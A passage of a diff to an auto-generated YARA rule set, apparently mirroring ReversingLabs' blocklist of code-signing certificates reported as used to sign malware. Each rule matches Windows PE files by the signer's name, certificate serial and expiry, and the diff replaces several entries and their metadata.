"14:2a:ac:42:17:e2:2b:52:5c:85:87:58:97:73:ba:9b" and 1614124800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hairis LLC" and pe.signatures [ i ] . serial == "18:6d:49:fa:c3:4c:e9:97:75:b8:e7:ff:bf:50:67:9d" and 1602234590 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_239664C12Baeb5A6D787912888051392 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B1Aea98Bf0Ce789B6C952310F14Edde0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4d24a880-6fa5-5c22-875e-29f4985e3750" + id = "f039f379-e3d5-56bd-83b7-016881538017" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12048-L12064" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6048-L6066" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ab2c228088a4c11b3a0f1a5f0acf181cc31e548781cb3f1205475bfbe39c7236" + logic_hash = "6e78750d6aca91e9e6d8f2651a5682ccdab5cd20ee3a74e1f8582eb7bc45d614" score = 75 quality = 90 tags = "INFO, FILE" @@ -23189,21 +45583,21 @@ rule REVERSINGLABS_Cert_Blocklist_239664C12Baeb5A6D787912888051392 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORTH PROPERTY LTD" and pe.signatures [ i ] . serial == "23:96:64:c1:2b:ae:b5:a6:d7:87:91:28:88:05:13:92" and 1618272000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Absolut LLC" and ( pe.signatures [ i ] . serial == "00:b1:ae:a9:8b:f0:ce:78:9b:6c:95:23:10:f1:4e:dd:e0" or pe.signatures [ i ] . serial == "b1:ae:a9:8b:f0:ce:78:9b:6c:95:23:10:f1:4e:dd:e0" ) and 1602612570 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0218Ebfd5A9Bfd55D2F661F0D18D1D71 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2Dcd0699Da08915Dde6D044Cb474157C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d03619c7-c4e8-57bd-a19e-1452ab7a76df" + id = "e1f56719-e726-5f81-99d4-937e343cbcc9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12066-L12082" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6068-L6084" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4aabe3beab0055b6ef8f6114c5236940f5693b44e94efd14132b450bb9232c03" + logic_hash = "e1a3f27b8b9b642fe1ca73ec54d225f4470b53d0d06f2eea55ad1ad43ec67b39" score = 75 quality = 90 tags = "INFO, FILE" @@ -23213,21 +45607,21 @@ rule REVERSINGLABS_Cert_Blocklist_0218Ebfd5A9Bfd55D2F661F0D18D1D71 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REI LUX UK LIMITED" and pe.signatures [ i ] . serial == "02:18:eb:fd:5a:9b:fd:55:d2:f6:61:f0:d1:8d:1d:71" and 1608508800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VENTE DE TOUT" and pe.signatures [ i ] . serial == "2d:cd:06:99:da:08:91:5d:de:6d:04:4c:b4:74:15:7c" and 1601830010 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_35590Ebe4A02Dc23317D8Ce47A947A9B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4B03Cabe6A0481F17A2Dbeb9Aefad425 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2f72a686-c30c-572d-a78c-03747ac325b6" + id = "30108ce3-b133-5e1d-924f-7caaf390e836" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12084-L12100" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6086-L6102" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2d4bc88943cdc8af00effab745e64e60ef662c668a0b2193c256d11831ef1554" + logic_hash = "6986e7bd90842647ec6a168c30dca2d5ae8ae5b1c1014f966dd596a78859ac6e" score = 75 quality = 90 tags = "INFO, FILE" @@ -23237,21 +45631,21 @@ rule REVERSINGLABS_Cert_Blocklist_35590Ebe4A02Dc23317D8Ce47A947A9B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Largos" and pe.signatures [ i ] . serial == "35:59:0e:be:4a:02:dc:23:31:7d:8c:e4:7a:94:7a:9b" and 1602201600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RASSVET, OOO" and pe.signatures [ i ] . serial == "4b:03:ca:be:6a:04:81:f1:7a:2d:be:b9:ae:fa:d4:25" and 1603230930 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Aa07D4F2857119Cee514A0Bd412F8201 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_64Cd303Fa289790Afa03C403E9240002 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6bb83f26-90f5-587f-8c69-fa06beaead3e" + id = "86644ef8-4218-5a04-9655-c7d51729872d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12102-L12120" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6104-L6120" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fbbea89f2070b2a527bba6199022fbffd269e664b000988a59adf4ca0d4a9f22" + logic_hash = "f51556a8a12affbd7f7633bf8daa50e6332fa3d3448ea08853cf8ed28e593680" score = 75 quality = 90 tags = "INFO, FILE" @@ -23261,21 +45655,21 @@ rule REVERSINGLABS_Cert_Blocklist_Aa07D4F2857119Cee514A0Bd412F8201 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HANGA GIP d.o.o." and ( pe.signatures [ i ] . serial == "00:aa:07:d4:f2:85:71:19:ce:e5:14:a0:bd:41:2f:82:01" or pe.signatures [ i ] . serial == "aa:07:d4:f2:85:71:19:ce:e5:14:a0:bd:41:2f:82:01" ) and 1615766400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MAITLAND TRIFECTA, INC." and pe.signatures [ i ] . serial == "64:cd:30:3f:a2:89:79:0a:fa:03:c4:03:e9:24:00:02" and 1602723600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_40F5660A90301E7A8A8C3B42 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_07Cef66A71C35Bc3Aed6D100C6493863 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c47bb4f0-d60b-5948-ac10-6083606ed46a" + id = "9c16c370-a382-54f7-ba2e-3b738740966f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12122-L12138" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6122-L6138" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3573d1d5f11df106f1f6f44f8b0164992f2a50707c6df7b08b05ed9ea7d9173b" + logic_hash = "e741fc13fe4d03b145ed1d86e738b415a7260eae5b0908c6991c9ea9896f14cf" score = 75 quality = 90 tags = "INFO, FILE" @@ -23285,21 +45679,21 @@ rule REVERSINGLABS_Cert_Blocklist_40F5660A90301E7A8A8C3B42 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Booz Allen Hamilton Inc." and pe.signatures [ i ] . serial == "40:f5:66:0a:90:30:1e:7a:8a:8c:3b:42" and 1641833688 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fubon Technologies Ltd" and pe.signatures [ i ] . serial == "07:ce:f6:6a:71:c3:5b:c3:ae:d6:d1:00:c6:49:38:63" and 1602740890 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0400C7614F86D75Fe4Ee3F6192B6Feda : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Be77Fe5C58B7A360Add6A3Fced4E8334 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "500c9604-cc07-52b1-8c46-09894d132205" + id = "1bbaebe9-b3ca-5ee2-91ac-b2343ca8bb86" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12140-L12156" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6140-L6158" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "47735267e9a0fb8107f6c4008bacc8aada1705f6714a0447dacc3928fc20cad6" + logic_hash = "cea0d217206562c0045843405802d3b2fad01bdb2a4cfb52057625b43f5f8eee" score = 75 quality = 90 tags = "INFO, FILE" @@ -23309,21 +45703,21 @@ rule REVERSINGLABS_Cert_Blocklist_0400C7614F86D75Fe4Ee3F6192B6Feda : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "StackUp ApS" and pe.signatures [ i ] . serial == "04:00:c7:61:4f:86:d7:5f:e4:ee:3f:61:92:b6:fe:da" and 1626393601 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Incar LLC" and ( pe.signatures [ i ] . serial == "00:be:77:fe:5c:58:b7:a3:60:ad:d6:a3:fc:ed:4e:83:34" or pe.signatures [ i ] . serial == "be:77:fe:5c:58:b7:a3:60:ad:d6:a3:fc:ed:4e:83:34" ) and 1602530730 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E573D9C8B403C41Bd59Ffa0A8Efd4168 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_F097E59809Ae2E771B7B9Ae5Fc3408D7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2e799dd9-d143-55a7-9d07-d5f289477b24" + id = "1eed6f30-0648-5b8e-81ff-9f3af0f1c91d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12158-L12176" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6160-L6178" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "425126b90fe2ab7c1ec7bf2fd5a91e4438a81992f20f99ed87ec62e7f20043cd" + logic_hash = "9e23ff26d3e1ea181e48fc23383e3717804858bc517a31ec508fa0753730c78e" score = 75 quality = 90 tags = "INFO, FILE" @@ -23333,21 +45727,21 @@ rule REVERSINGLABS_Cert_Blocklist_E573D9C8B403C41Bd59Ffa0A8Efd4168 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\"VERONIKA 2\" OOO" and ( pe.signatures [ i ] . serial == "00:e5:73:d9:c8:b4:03:c4:1b:d5:9f:fa:0a:8e:fd:41:68" or pe.signatures [ i ] . serial == "e5:73:d9:c8:b4:03:c4:1b:d5:9f:fa:0a:8e:fd:41:68" ) and 1563148800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABEL RENOVATIONS, INC." and ( pe.signatures [ i ] . serial == "00:f0:97:e5:98:09:ae:2e:77:1b:7b:9a:e5:fc:34:08:d7" or pe.signatures [ i ] . serial == "f0:97:e5:98:09:ae:2e:77:1b:7b:9a:e5:fc:34:08:d7" ) and 1602542033 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B06Bc166Fc765Dacd2F7448C8Cdd9205 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Cf1Ed2A6Ff4Bee621Efdf725Ea174B7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4b27c958-58f1-5fbd-8a39-aedfe4dafe39" + id = "7f7ecbcd-7a92-526d-99a8-d849fffa19cb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12178-L12196" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6180-L6196" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2c47166f02c7f94bb4f82296e3220ff7ca3c6c53566d855b2fe77cb842a5fb43" + logic_hash = "7030c122905105c72833cfcb41692bd9a67cf456e3309afce0b8f9e65c6aa5c1" score = 75 quality = 90 tags = "INFO, FILE" @@ -23357,21 +45751,21 @@ rule REVERSINGLABS_Cert_Blocklist_B06Bc166Fc765Dacd2F7448C8Cdd9205 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GAS Avto, d.o.o." and ( pe.signatures [ i ] . serial == "00:b0:6b:c1:66:fc:76:5d:ac:d2:f7:44:8c:8c:dd:92:05" or pe.signatures [ i ] . serial == "b0:6b:c1:66:fc:76:5d:ac:d2:f7:44:8c:8c:dd:92:05" ) and 1615507200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LEVEL LIST SP Z O O" and pe.signatures [ i ] . serial == "0c:f1:ed:2a:6f:f4:be:e6:21:ef:df:72:5e:a1:74:b7" and 1603036100 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E9268Ed63A7D7E9Dfd40A664Ddfbaf18 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1249Aa2Ada4967969B71Ce63Bf187C38 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a93b0a98-cfec-5e32-9fd8-b3d6c4353558" + id = "5b2876a2-8dfa-5456-a615-4ea69df53422" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12198-L12216" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6198-L6214" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fc840c0b37867c3b0aa80d4dc609feaaab77d3f0c6f84c8bb2ea7c5a6461ebb8" + logic_hash = "f84568cfe6304af0307a34bfed6dd346a74e714005b5e6f22a354b14f853ec65" score = 75 quality = 90 tags = "INFO, FILE" @@ -23381,21 +45775,21 @@ rule REVERSINGLABS_Cert_Blocklist_E9268Ed63A7D7E9Dfd40A664Ddfbaf18 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Casta, s.r.o." and ( pe.signatures [ i ] . serial == "00:e9:26:8e:d6:3a:7d:7e:9d:fd:40:a6:64:dd:fb:af:18" or pe.signatures [ i ] . serial == "e9:26:8e:d6:3a:7d:7e:9d:fd:40:a6:64:dd:fb:af:18" ) and 1647302400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Umbrella LLC" and pe.signatures [ i ] . serial == "12:49:aa:2a:da:49:67:96:9b:71:ce:63:bf:18:7c:38" and 1599181200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_425Dc3E0Ca8Bcdce19D00D87E3F0Ba28 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D59A05955A4A421500F9561Ce983Aac4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "df6e1403-c300-5d97-b57d-dc70d61b2229" + id = "088f0f98-328b-50fa-b1e4-1d80023b3c09" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12218-L12234" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6216-L6234" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "67a975f2806825bf0da27fcaf33c2ff497fe9bb2af12c22ff505b49070516960" + logic_hash = "b7ed87a03f20872669369cc3cad4eae40ba597f06222194bd67262c094083ec1" score = 75 quality = 90 tags = "INFO, FILE" @@ -23405,21 +45799,21 @@ rule REVERSINGLABS_Cert_Blocklist_425Dc3E0Ca8Bcdce19D00D87E3F0Ba28 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Protover LLC" and pe.signatures [ i ] . serial == "42:5d:c3:e0:ca:8b:cd:ce:19:d0:0d:87:e3:f0:ba:28" and 1621900800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Olymp LLC" and ( pe.signatures [ i ] . serial == "00:d5:9a:05:95:5a:4a:42:15:00:f9:56:1c:e9:83:aa:c4" or pe.signatures [ i ] . serial == "d5:9a:05:95:5a:4a:42:15:00:f9:56:1c:e9:83:aa:c4" ) and 1601895290 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Afc0Ddb7Bdc8207E8C3B7204018Eecd3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_539015999E304A5952985A994F9C3A53 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "73f4d6e2-6924-59fa-8ec1-305f2d5dc5a3" + id = "ccb4da10-3178-5d8f-be17-9c689e794418" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12236-L12254" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6236-L6252" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "302e2d6b31ca5c2c33c4ec7294630fd88a9c40f70ddecdc606ccff27b24e1cd4" + logic_hash = "feeb1710bd5b048c689a2e45575529624cd1622dcc73db8fe7de6c133fdc5698" score = 75 quality = 90 tags = "INFO, FILE" @@ -23429,21 +45823,21 @@ rule REVERSINGLABS_Cert_Blocklist_Afc0Ddb7Bdc8207E8C3B7204018Eecd3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x83\\xB4\\xE5\\xB7\\x9E\\xE8\\x9C\\x97\\xE7\\x89\\x9B\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:af:c0:dd:b7:bd:c8:20:7e:8c:3b:72:04:01:8e:ec:d3" or pe.signatures [ i ] . serial == "af:c0:dd:b7:bd:c8:20:7e:8c:3b:72:04:01:8e:ec:d3" ) and 1629676800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Service lab LLC" and pe.signatures [ i ] . serial == "53:90:15:99:9e:30:4a:59:52:98:5a:99:4f:9c:3a:53" and 1599181200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_38989Ec61Ecdb7391Ff5647F7D58Ad18 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0B1926A5E8Ae50A0Efa504F005F93869 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1841bbd1-4c7a-5b89-8c63-58d8a3ae1cef" + id = "ce437144-0f99-5c41-8d15-edeceb34de4d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12256-L12272" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6254-L6270" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1795812d4daa458b157280cac7a9b13e9b67a2d78eac077691bbce2bf8aeec34" + logic_hash = "1cbdf39a873c83d2b55723215fb4930a3ce23b6cab2d71a6cd5f16b2721e30f9" score = 75 quality = 90 tags = "INFO, FILE" @@ -23453,21 +45847,21 @@ rule REVERSINGLABS_Cert_Blocklist_38989Ec61Ecdb7391Ff5647F7D58Ad18 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RotA Games ApS" and pe.signatures [ i ] . serial == "38:98:9e:c6:1e:cd:b7:39:1f:f5:64:7f:7d:58:ad:18" and 1613088000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Nordkod LLC" and pe.signatures [ i ] . serial == "0b:19:26:a5:e8:ae:50:a0:ef:a5:04:f0:05:f9:38:69" and 1600650000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Bc6C43D206A360F2D6B58537C456B709 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A23B660E7322E54D7Bd0E5Acc890966 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "fd19ce61-056b-549a-946e-72543ff1f7c0" + id = "daae5f42-59ff-5838-9444-93357eaa9d60" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12274-L12292" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6272-L6288" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "eb5288d2b96ff7a7783c2b2b02f9f1168784352ed84ad6463dce00c12daca6cb" + logic_hash = "17996dd0ec81623dbd4eeea98f9bbe37c11c911ca840833ecb9301bb0a9ddb52" score = 75 quality = 90 tags = "INFO, FILE" @@ -23477,21 +45871,21 @@ rule REVERSINGLABS_Cert_Blocklist_Bc6C43D206A360F2D6B58537C456B709 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ANKADA GROUP, d.o.o." and ( pe.signatures [ i ] . serial == "00:bc:6c:43:d2:06:a3:60:f2:d6:b5:85:37:c4:56:b7:09" or pe.signatures [ i ] . serial == "bc:6c:43:d2:06:a3:60:f2:d6:b5:85:37:c4:56:b7:09" ) and 1616630400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ARTBUD RADOM SP Z O O" and pe.signatures [ i ] . serial == "0a:23:b6:60:e7:32:2e:54:d7:bd:0e:5a:cc:89:09:66" and 1601254800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4929Ab561C812Af93Ddb9758B545F546 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6Cfa5050C819C4Acbb8Fa75979688Dff : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6e8ffb39-d00d-54ca-a4be-68f6dd92d798" + id = "f91ecc17-7406-552a-8864-c9e1657a5ca9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12294-L12310" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6290-L6308" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "12235e324b92b83e9cfaed7cbcff5d093b8b1d7528dd5ac327159cde6e9a4d1f" + logic_hash = "cffc234be78446191dd5f5990db9f17c7e28eeaa3e16f1eb8ad4ed1e58fdc25e" score = 75 quality = 90 tags = "INFO, FILE" @@ -23501,21 +45895,21 @@ rule REVERSINGLABS_Cert_Blocklist_4929Ab561C812Af93Ddb9758B545F546 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Everything Wow s.r.o." and pe.signatures [ i ] . serial == "49:29:ab:56:1c:81:2a:f9:3d:db:97:58:b5:45:f5:46" and 1594252800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 